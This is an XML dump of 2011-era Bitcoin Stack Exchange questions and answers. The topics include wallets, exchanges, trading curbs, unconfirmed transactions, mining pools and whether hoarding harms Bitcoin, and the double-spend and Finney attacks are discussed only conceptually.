  <row Id="378" PostTypeId="2" ParentId="366" CreationDate="2011-09-01T16:26:13.327" Score="10" Body="&lt;p&gt;It seems to me that this question can be answered by substituting Bitcoin for similar technology and re-posing the question. For example: &quot;How easily could the U.S. Government shut down bittorrent&quot; is quite similar and has already been answered. The U.S. Government has TRIED to shut down bittorrent and its associated sites a great many times. The Government knows with 100% certainty that bittorrent is not only being used for illegal activities but also knows that its use for illegal activities greatly outweighs its use for legal ones. There are many good comparisons worthy of note, but here's the big one: The U.S. Government hasn't gone after bittorrent itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is twofold: First it is both difficult and unreasonable to outlaw something simply because it &lt;em&gt;could&lt;/em&gt; be used in an illegal manner. Bittorrent in and of itself is a tool, like a screwdriver and as such cannot reasonably be declared illegal. As a competing currency, Bitcoin may be different enough to be vulnerable in this aspect. The second and far more important reason is that they simply can't. Distributed protocols like bittorrent or Bitcoin make it almost impossible to shut them down. For every governmental countermeasure there is a personal countermeasure and it's easier to find the actual criminals if you haven't driven them all to TOR or I2P.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The government cannot shut down the protocol. They are aware of this and instead pursue individual criminals. Attempting to shut down the protocol is futile and only makes it harder to catch individual criminals.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-01T16:26:13.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="379" PostTypeId="2" ParentId="189" CreationDate="2011-09-01T17:18:37.740" Score="2" Body="&lt;p&gt;You can also use an e-wallet or an exchange to send bitcoins. Most websites can be accessed with a phone so you don't have to install anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox already has a &lt;a href=&quot;http://mtgoxlive.com/mobile/&quot; rel=&quot;nofollow&quot;&gt;mobile application&lt;/a&gt; that you can use to access your account. I am sure other applications and mobile sites will appear soon.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-01T17:18:37.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="380" PostTypeId="1" AcceptedAnswerId="383" CreationDate="2011-09-01T17:32:23.710" Score="8" ViewCount="706" Body="&lt;p&gt;Bitcoin has a few weaknesses. Among the well known ones are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transactions are not instantaneous.&lt;/li&gt;&#xA;&lt;li&gt;Large numbers of transactions would bloat blocks.&lt;/li&gt;&#xA;&lt;li&gt;Transaction fees are needed in some cases.&lt;/li&gt;&#xA;&lt;li&gt;The client is difficult to use and its operation difficult to understand.&lt;/li&gt;&#xA;&lt;li&gt;Wallets are difficult to secure. Coins can easily be lost.&lt;/li&gt;&#xA;&lt;li&gt;Transactions are only somewhat anonymous.&lt;/li&gt;&#xA;&lt;li&gt;Irreversible transactions are sometimes not what people want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of these weaknesses (including any I didn't mention), which are probably most seriously affecting the adoption of Bitcoins, both short-term and long-term?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2014-05-02T17:50:37.177" LastActivityDate="2014-05-02T17:50:37.177" Title="Which Bitcoin weakness most hinder Bitcoins ability to gain market and mind share?" Tags="|weaknesses|" AnswerCount="3" CommentCount="7" ClosedDate="2011-09-02T22:08:15.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="381" PostTypeId="1" AcceptedAnswerId="385" CreationDate="2011-09-01T17:49:57.810" Score="9" ViewCount="262" Body="&lt;p&gt;After the big hack of Mt Gox we all became aware that there is nothing in place to prevent &quot;flash crashes.&quot; Most stock, FOREX and other exchanges have features like &lt;a href=&quot;http://en.wikipedia.org/wiki/Trading_curb&quot;&gt;trading curbs&lt;/a&gt; or other &lt;a href=&quot;http://www.sec.gov/answers/circuit.htm&quot;&gt;market volatility procedures&lt;/a&gt; to prevent such crashes - so do any of the Bitcoin exchanges have such curbs in place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if one exchange &lt;em&gt;were&lt;/em&gt; to implement such a procedure would it still be effective if other exchanges did not? In other words, if Mt Gox implemented a trading curb and TradeHill did not, would this non-universal curb be effective? Would the effectiveness hold if the scenario were reversed? (i.e. TH has a curb and Mt Gox does not)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-01T20:59:01.603" Title="Do any of the Bitcoin exchanges implement trading curbs?" Tags="|security|exchanges|weaknesses|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="382" PostTypeId="1" AcceptedAnswerId="386" CreationDate="2011-09-01T17:53:06.960" Score="22" ViewCount="2138" Body="&lt;p&gt;Occasionally transactions will be broadcast to the network that will show in a 0/unconfirmed status in the Bitcoin client. It is also the case that from time to time for various reasons those transactions will never confirm. One known reason for such unconfirmed transactions is a double-spending attempt, though these are usually quickly resolved by the network. My question is twofold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any source of data or is there a known statistic stating what percent of transactions hit 0/unconfirmed and never progress beyond this state (i.e. are resolved as conflicts by the network).&lt;/li&gt;&#xA;&lt;li&gt;Is there anything aside from a double-spending attempt that can produce a 0/unconfirmed transaction that does not confirm.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please note that I am not referring to the &quot;generated&quot; transactions by which miners are paid, but rather a point-to-point transfer of bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorDisplayName="user1586" LastEditDate="2013-07-28T18:55:06.797" LastActivityDate="2015-09-03T03:00:59.877" Title="What percentage of Bitcoin transactions never complete?" Tags="|transactions|commerce|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="383" PostTypeId="2" ParentId="380" CreationDate="2011-09-01T18:00:52.690" Score="5" Body="&lt;p&gt;If the credit card industry has taught us anything it's that merchants will accept whatever form of payment there is adequate demand for. Merchants have been perfectly willing to absorb some percent of loss from credit card chargebacks, bounced checks etc. for quite some time and will likely accept some percent of loss from 0/unconfirmed transactions (once we actually know &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/382/what-percentage-of-bitcoin-transactions-are-orphaned&quot;&gt;what percent loss that is&lt;/a&gt;, anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real &quot;sell&quot; is with consumers. If enough consumers use bitcoins, merchants will begin accepting them - and even if they don't they still hold value as a means of long-distance funds transfer and perhaps as a store of value. Consumers also don't care about technical limitations, that's for us geeks to figure out on their behalf, so points 2, 5 and 6 are basically &quot;our problems&quot; to fix. What consumers will care about most, in my opinion, is #4: &quot;The client is difficult to use and its operation difficult to understand.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When there's &quot;an app for that&quot; that just works and doesn't need whitepapers, wikis etc. to comprehend, the biggest hurdle has been jumped.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-09-01T18:00:52.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="384" PostTypeId="2" ParentId="382" CreationDate="2011-09-01T18:15:23.390" Score="6" Body="&lt;p&gt;I have watched for reports of a transaction that appeared live on the net that never got into a block. It has never happened, and I don't think it's likely to happen. The only practical way for it to happen is for the network to be split due to a connectivity problem or for a miner in cahoots with the person attempting the double-spend attack to mine a conflicting transaction (not accepted by the network) into a block before the transaction itself gets into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree that accepting 0/unconfirmed transactions is sufficient for point of sale applications. Someone is very unlikely to attempt a double-spend in person for a few thousand dollars or less and is even more unlikely to succeed. (&lt;strong&gt;Update&lt;/strong&gt;: &lt;em&gt;Due to the risk of the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1192/would-a-reduced-block-generation-time-make-the-finney-attack-more-difficult/&quot;&gt;Finney attack&lt;/a&gt;, I withdraw this argument&lt;/em&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your guess is only reasonable within limits though. For big transactions, companies will sue people who charge them back. They can do the same thing with Bitcoin transactions if they ask for ID first. For face-to-face transactions, I don't think confirmations matter for transactions that aren't massive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a big deal for online transactions for a different reason. If we're talking a small payment for access to a web site, is anyone really going to bother with an attack? And does anyone care? Here, the percentage risk argument works. And for big online stuff, delivery's usually not immediate anyway (think PayPal, eBay, Amazon).&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-09-03T03:00:59.877" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="385" PostTypeId="2" ParentId="381" CreationDate="2011-09-01T18:24:13.047" Score="6" Body="&lt;p&gt;Mt. Gox has stated that they now use &quot;circuit breakers&quot; to disable trading pending manual intervention if trading appears suspicious or unreasonable. They reported a few minor incidents where the breakers did trip in the initial implementation due to unusually high, but normal and innocuous, volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recollection is that TradeHill only has breakers on the movement of Bitcoins out of the exchange. So far as I know, they have no breakers on trading -- at least not that they've announced.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-01T18:24:13.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="386" PostTypeId="2" ParentId="382" CreationDate="2011-09-01T18:26:42.607" Score="3" Body="&lt;p&gt;An orphaned transaction is formally a transaction that depends on a prior transaction that is not yet in the block chain or pool.  See the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules&quot; rel=&quot;nofollow&quot;&gt;Protocol Rules&lt;/a&gt;.  These types of transactions are held back from the transaction pool until the prerequisite is met.  However, these types of transactions are very difficult to generate, the client won't generate such transaction, so you'd have to construct it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of allowing them is because the protocol must allow for the possibility that it receives transactions in the wrong order.  Accidentally generating transactions in the wrong order is not possible as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are referring to orphaned blocks, then you should not see transactions get orphaned in this way, the blocks that are accepted instead of the orphaned ones should also contain all of the same transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The question has been rephrased.  The percentage of general transactions that never complete should be zero.  I've never heard of it and I've never seen it.  The two exceptions, as mentioned elsewhere are coin generation on orphaned blocks, and intentional double spend attempts (in which case the answer is &quot;as many times as people try to double spend&quot;). As I mention above, the reason for this is because general transactions do not become orphaned if a block chain branch becomes orphaned.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2011-09-01T19:17:59.663" LastActivityDate="2011-09-01T19:17:59.663" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="387" PostTypeId="2" ParentId="189" CreationDate="2011-09-01T20:58:59.623" Score="7" Body="&lt;p&gt;Don't use Bitcoin by Bitcoin Android. It is unmaintained, it starts crashing and doesn't load anymore, and there is no way to get your bitcoins out. Someone should really get the developer to take it down. I'm emailing him again now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://market.android.com/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt;. It is maintained by the same team that creates the bitcoinj android library. It is the most reliable app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;a href=&quot;https://market.android.com/details?id=com.mtgoxlive.trader&quot; rel=&quot;nofollow&quot;&gt;MtGox mobile app&lt;/a&gt;. This is the best way to ensure that you do not lose coins if the app crashes, since your coins are held at mtgox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=piuk.blockchain&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt; has a mobile wallet now as well. Looks very promising.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2012-04-01T00:53:18.163" LastActivityDate="2012-04-01T00:53:18.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="388" PostTypeId="2" ParentId="381" CreationDate="2011-09-01T20:59:01.603" Score="4" Body="&lt;p&gt;As far as your second question goes, I suppose it comes down to how much volume each of the exchanges have. If a few low-volume exchanges have circuit breakers, but the higher volume one(s) don't, I'm not sure there is any benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, it is interesting that there are only circuit breakers in one direction on most markets, even though obviously for every seller their must be a buyer (so if one thinks &quot;irrational volatility&quot; is a problem, it doesn't make sense it is a problem only in one direction)&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-09-01T20:59:01.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="390" PostTypeId="2" ParentId="380" CreationDate="2011-09-01T21:03:49.710" Score="2" Body="&lt;p&gt;I believe that bitcoin still needs a &quot;killer app&quot; in terms of something that can be done with it that can't currently be done with other transaction methods. The most likely of these in my mind appear to be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) low-fee and quick international wire transfers&#xA;2) SMS money transfer or barcode money transfer&#xA;3) online gambling from countries where it is restricted&#xA;4) silk-road type marketplace&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once bitcoin opens the door for an activity many people are already engaged in (or want to be engaged in) it will likely drive all sorts of innovation. Personally, my hope is for #1 and #2 to be combined, as I think there are benefits to getting Western Union out of the international payment business. However, a large gambling site like Bodog doing #3 would likely drive an incredible uptick in BTC usage as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Edit: hmm perhaps this doesn't answer the question. Of the above I also think that #4 is the big one (though I think a good client/wallet app will also include near-instantaneous transactions and also offer wallet security) but I think that these problems, even if surmounted, will not offer much in the way of growth until one particular niche really takes off)&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-09-01T21:03:49.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="391" PostTypeId="2" ParentId="1" CreationDate="2011-09-01T21:10:51.723" Score="2" Body="&lt;p&gt;You can see how mining process works here&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/contrib/pyminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/tree/master/contrib/pyminer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="54" LastActivityDate="2011-09-01T21:10:51.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="392" PostTypeId="2" ParentId="380" CreationDate="2011-09-01T21:55:03.117" Score="4" Body="&lt;p&gt;Merchants that I speak to are very excited about the prospect of being released from credit card companies and their associated chargebacks and transaction fees. They view them as a necessary evil in order to smooth the deal with the consumer and would ditch them in an instant if a realistic alternative existed. However they are concerned about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the extreme volatility of BTCs &lt;/li&gt;&#xA;&lt;li&gt;the introduced currency risk into their otherwise local business&lt;/li&gt;&#xA;&lt;li&gt;the increased difficulty of accounting (spot rates and so on)&lt;/li&gt;&#xA;&lt;li&gt;uncertainty about taxation and legal recognition&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Consumers on the other hand don't see any problem with the existing system, until they fall foul of it in some way - like making a very large or very small international money transfer. At that point they howl in frustration at the cost and bureaucracy of it all. Those folks that listened patiently while I burbled on about Bitcoin gave the following feedback:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;they don't encounter transaction friction often enough in their daily life to make it necessary to adopt the change&lt;/li&gt;&#xA;&lt;li&gt;the barrier to entry with Bitcoins (obtaining them via an exchange or a friend with BTCs) is too high for most of them to bother with&lt;/li&gt;&#xA;&lt;li&gt;it sounds a bit dodgy and experimental for me to risk my hard earned cash in&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, as more businesses offer to take BTCs as a parallel payment method (offering a slightly reduced price as an incentive) then more consumers may take the bait. Over time this will build momentum and wider adoption, hopefully as a virtuous circle.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-09-01T21:55:03.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="393" PostTypeId="2" ParentId="91" CreationDate="2011-09-01T22:00:48.320" Score="0" Body="&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the below is now obsolete. I keep this answer in place to show the ongoing changing nature of &quot;Bitcoinland&quot;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the UK I used &lt;a href=&quot;https://britcoin.co.uk/&quot; rel=&quot;nofollow&quot;&gt;Britcoin.co.uk&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's run by an established member of the Bitcoin forums (genjix). Trading is very light in comparison to the other exchanges, but it does accept GBP via direct bank transfer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the &lt;strong&gt;best way to obtain Bitcoins is to earn them in exchange for goods and services&lt;/strong&gt;. Perhaps by offering your skills on &lt;a href=&quot;http://forbitcoin.com&quot; rel=&quot;nofollow&quot;&gt;forbitcoin.com&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2012-11-12T14:23:02.187" LastActivityDate="2012-11-12T14:23:02.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="394" PostTypeId="5" CreationDate="2011-09-01T22:09:07.830" Score="0" Body="&lt;p&gt;A mining pool is a way of sharing the work needed to find a block. Miners are rewarded in proportion to the amount of computing power they contribute to the problem, with various ways of calculating returns. Nearly all mining happens in mining pools to help reduce the variance of solo mining as the difficulty has increased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various ways of calculating return based on computing power. Some pools offer a fixed and guaranteed rate based on the amount of MHashes you are contributing (with the mining pool absorbing the overall variance, and taking a fee for doing so) while others are strictly based on actual blocks found by the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of current pools can be seen at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners wishing to mine with a mining pool can connect to one using two protocols: &lt;a href=&quot;https://slushpool.com/help/manual/stratum-protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;stratum&lt;/a&gt; and &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0022.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;getblocktemplate&lt;/a&gt;. The stratum protocol is a centralized protocol where the pool operator has full control over the contents of the block. The miners are only there to perform the Proof of Work computation required. Getblocktemplate is a different protocol which allows for decentralized mining. It allows for the individual miner to choose what goes in the block with the mining pool only returning the information necessary for a miner to build the block. Most mining pools either use stratum exclusively or both stratum and getblocktemplate.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="48884" LastEditDate="2017-10-20T02:41:30.733" LastActivityDate="2017-10-20T02:41:30.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="395" PostTypeId="4" CreationDate="2011-09-01T22:09:07.830" Score="0" Body="A mining pool is a way of sharing the work needed to find a block. Miners are rewarded in proportion to the amount of computing power they contribute to the problem, with various ways of calculating returns. Use this tag when specifically asking about operating a mining pool or about pooled mining but not other forms of mining." OwnerUserId="81" LastEditorUserId="5406" LastEditDate="2022-07-28T12:10:03.627" LastActivityDate="2022-07-28T12:10:03.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="396" PostTypeId="1" AcceptedAnswerId="401" CreationDate="2011-09-01T22:10:19.013" Score="10" ViewCount="2960" Body="&lt;p&gt;Where can I find a graph of the estimated size of each mining pool relative to the overall hashrate of the entire bitcoin network?&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="516" LastEditDate="2012-06-11T03:45:58.073" LastActivityDate="2017-07-03T16:51:38.970" Title="Where can I find a graph of the current size of mining pools?" Tags="|mining-pools|charts|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="398" PostTypeId="2" ParentId="242" CreationDate="2011-09-01T22:37:52.940" Score="2" Body="&lt;p&gt;[HelloBitcoin has closed]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first exchange to offer buying on margin or shorting is: &lt;a href=&quot;http://www.HelloBitcoin.com&quot; rel=&quot;nofollow&quot;&gt;http://www.HelloBitcoin.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requirements for shorting is the same as with stocks, a $2K balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do not yet have enough orders and the spreads between the bids and asks are wide yet.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-20T05:08:23.377" LastActivityDate="2013-03-20T05:08:23.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="399" PostTypeId="2" ParentId="36" CreationDate="2011-09-01T22:39:42.750" Score="2" Body="&lt;p&gt;The fact that the blockchain records every single bitcoin transaction does mean that it would probably be possible to analyse the data to infer some real market information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow&quot;&gt;Bitcoin days destroyed&lt;/a&gt; is one metric made possible by the blockchain that could possibly be used to make some estimation of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Velocity_of_money&quot; rel=&quot;nofollow&quot;&gt;velocity of money&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar tools and network analysis methods as used in the &lt;a href=&quot;http://arxiv.org/PS_cache/arxiv/pdf/1107/1107.4524v1.pdf&quot; rel=&quot;nofollow&quot;&gt;Reid/Harrigan paper&lt;/a&gt; on anonymity in the Bitcoin system could also be used to glean market information from the Bitcoin transaction record. One of the authors (Fergal Reid) of this paper discusses some of these possibilities in this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=31662.msg494707#msg494707&quot; rel=&quot;nofollow&quot;&gt;forum post&lt;/a&gt; on the bitcointalk.org site. One of the speculated ideas is that it could be possible to identify flows of bitcoins to the exchanges and thus be possibly able to predict if a sell-off is imminent based on a larger than normal volume of bitcoins being moved to the exchanges.  &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-09-01T22:39:42.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="401" PostTypeId="2" ParentId="396" CreationDate="2011-09-01T22:43:00.140" Score="11" Body="&lt;p&gt;The &lt;a href=&quot;http://bitcoinwatch.com/&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; site gives a pie-chart of the hasrate distribution by mining pool.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-09-01T22:43:00.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="402" PostTypeId="2" ParentId="359" CreationDate="2011-09-01T22:57:16.513" Score="2" Body="&lt;p&gt;There are some papers on Bitcoin and related topics here:&#xA; - &lt;a href=&quot;http://en.bitcoin.it/wiki/Research&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Research&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-01T22:57:16.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="403" PostTypeId="1" AcceptedAnswerId="411" CreationDate="2011-09-01T22:58:43.483" Score="8" ViewCount="523" Body="&lt;p&gt;Are there any hosted online stores that can be set-up easily to take bitcoins? &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-01-02T23:43:15.447" Title="Are there any hosted online store solutions (a la Shopify.com) that are compatible with bitcoins?" Tags="|commerce|payment|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="404" PostTypeId="2" ParentId="336" CreationDate="2011-09-01T23:05:15.017" Score="15" Body="&lt;p&gt;Bitcoin has a lot of complexities making it tough to describe in the time of an elevator ride.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, it can be described as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A distributed system for people to send and receive payments&#xA;  anonymously, instantly, reliably, and for free. Payments are made in a&#xA;  new kind of money whose total supply is limited and not controlled by&#xA;  any party. E-commerce would benefit and services, for example escrow&#xA;  or securing and remotely accessing your wallet, could be built on this&#xA;  technology. Think BitTorrent meets PayPal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Elevator_speech&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Elevator_speech&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only problem with that: bitcoin transactions are not sufficiently anonymous, instantaneous nor free.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="54178" LastEditDate="2017-10-22T16:58:57.180" LastActivityDate="2017-10-22T16:58:57.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="405" PostTypeId="1" AcceptedAnswerId="415" CreationDate="2011-09-01T23:12:48.953" Score="6" ViewCount="1030" Body="&lt;p&gt;Just like a commodity it is easy to buy and sell bitcoins. Current value is so much higher then it was just a few months ago it seems like a really great investment. Especially when you consider that there is a limited supply, and if bitcoins are widely adopted then the value could go up substantially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, looks can be deceiving in any investment, so what are some of the risks?&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2011-09-02T01:06:57.443" LastActivityDate="2011-09-02T07:12:54.657" Title="What are some of the risks of speculating on bitcoin value?" Tags="|investing|speculation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="407" PostTypeId="2" ParentId="18" CreationDate="2011-09-01T23:42:39.653" Score="7" Body="&lt;p&gt;Dan Kaminsky explained his method and motivations for inserting images into the blockchain at a talk at Black Hat USA 2011 - the relevant slides (12 -20) from the presentation can be found &lt;a href=&quot;http://www.slideshare.net/dakami/black-ops-of-tcpip-2011-black-hat-usa-2011&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;His basic method was to create transactions with lots of outputs and to include the message in ASCII, in pieces, in the receiving address field of the output scripts. You can see the corresponding hex codes for the ASCII in his message in the &lt;a href=&quot;http://blockexplorer.com/rawtx/930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72&quot; rel=&quot;nofollow&quot;&gt;raw transaction&lt;/a&gt;. You can see that the message is interrupted by the other transaction fields, so you can only see the messages properly if you look with a tool (such as &lt;a href=&quot;http://linux.die.net/man/1/strings&quot; rel=&quot;nofollow&quot;&gt;strings&lt;/a&gt;) that filters out non-printable characters and displays printable characters in lines. His transaction required a .15 bitcoin fee, about $1.50 at the time.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="85" LastEditDate="2011-09-09T08:16:01.423" LastActivityDate="2011-09-09T08:16:01.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="408" PostTypeId="1" AcceptedAnswerId="414" CreationDate="2011-09-01T23:59:01.670" Score="94" ViewCount="23433" Body="&lt;p&gt;&lt;a href=&quot;https://www.technologyreview.com/2011/08/23/191860/cryptocurrency/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Some people believe that hoarding hurts the Bitcoin economy&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But are they really right?&lt;/p&gt;&#xA;&lt;p&gt;As long as corresponding goods vendors and services will be here to stay and reinforce people's faith in Bitcoin, hoarded bitcoins simply do not take part in daily business and do not hurt anyone.&lt;/p&gt;&#xA;&lt;p&gt;Quite the contrary, they will &lt;em&gt;decrease&lt;/em&gt; the supply of bitcoins in active circulation, thus &lt;em&gt;increase&lt;/em&gt; the demand for bitcoins, and thus &lt;em&gt;raise&lt;/em&gt; their over-all value, right?&lt;/p&gt;&#xA;&lt;p&gt;Update: This question also comes with a premise or insight that Bitcoin &amp;quot;power users&amp;quot; have savings and spendings wallets or similar setups, and that those two forms of wallets will not tend to &amp;quot;compete&amp;quot; with each other so much. The bitcoins in the spendings wallets will rather compete with the fiat money that respective users will use to buy for goods and services. The bitcoins in the savings wallets will rather compete with more traditional forms of assets and investments.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="5406" LastEditDate="2020-08-24T22:34:15.600" LastActivityDate="2020-08-24T22:34:15.600" Title="Does hoarding really hurt Bitcoin?" Tags="|money-supply|trading|economic-theory|" AnswerCount="15" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="410" PostTypeId="2" ParentId="408" CreationDate="2011-09-02T01:04:11.190" Score="3" Body="&lt;p&gt;Even if it is not actively hurting bitcoin it is not helping bitcoin while being hoarded, while bitcoin being exchanged for goods and services would be helping. Its an opportunity cost for the health of the system.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2011-09-02T01:04:11.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
